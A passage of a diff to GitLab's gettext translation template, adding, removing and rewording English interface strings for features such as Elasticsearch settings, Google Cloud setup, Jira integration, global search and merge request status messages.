+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -13087,6 +13333,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -13102,6 +13351,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -13123,6 +13375,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -13222,9 +13477,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -13276,6 +13528,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -13297,6 +13552,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -13369,6 +13627,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13543,6 +13804,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13630,16 +13897,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13879,9 +14143,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13930,9 +14191,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -14269,7 +14527,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14455,9 +14713,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14575,6 +14830,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14650,6 +14911,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14770,6 +15037,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14836,6 +15106,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14848,9 +15121,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -15298,6 +15568,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -15394,15 +15667,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15481,6 +15745,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15694,6 +15961,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15799,9 +16069,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -16075,9 +16342,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -16249,6 +16513,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -16312,6 +16579,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16483,6 +16753,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16630,7 +16945,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16687,6 +17014,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16951,7 +17281,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -17251,6 +17581,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -17428,7 +17764,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -17443,7 +17782,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17542,6 +17884,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17815,7 +18160,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17854,6 +18199,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18643,7 +18991,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18808,9 +19159,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18874,6 +19222,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -19093,12 +19444,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -19216,6 +19573,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -19231,6 +19591,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -19261,7 +19627,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -19318,7 +19687,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -19456,22 +19825,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19486,9 +19852,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19507,9 +19870,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19696,6 +20056,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19771,6 +20134,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19828,16 +20194,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19846,9 +20209,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19942,6 +20302,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19951,6 +20314,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -20047,9 +20413,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -20074,9 +20446,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -20185,18 +20554,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -20215,18 +20575,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -20236,6 +20590,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -20245,12 +20602,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -20281,9 +20632,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20581,6 +20929,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20929,7 +21280,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -21034,6 +21385,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -21079,6 +21433,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -21241,9 +21598,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -21271,13 +21625,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -21295,6 +21649,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21514,7 +21871,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21595,7 +21952,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21808,6 +22165,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21826,6 +22186,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -22033,9 +22396,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -22198,6 +22558,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -22213,6 +22579,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -22258,22 +22627,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -22393,6 +22753,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -23038,6 +23410,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -23293,9 +23668,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -23446,9 +23818,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -23473,6 +23842,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23680,6 +24052,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23716,6 +24091,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23911,6 +24289,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23959,9 +24340,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -24004,6 +24391,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -24025,6 +24415,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -24124,6 +24517,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -24355,7 +24751,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -24511,7 +24907,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24595,6 +24991,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24685,19 +25087,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24721,6 +25123,12 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24760,6 +25168,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
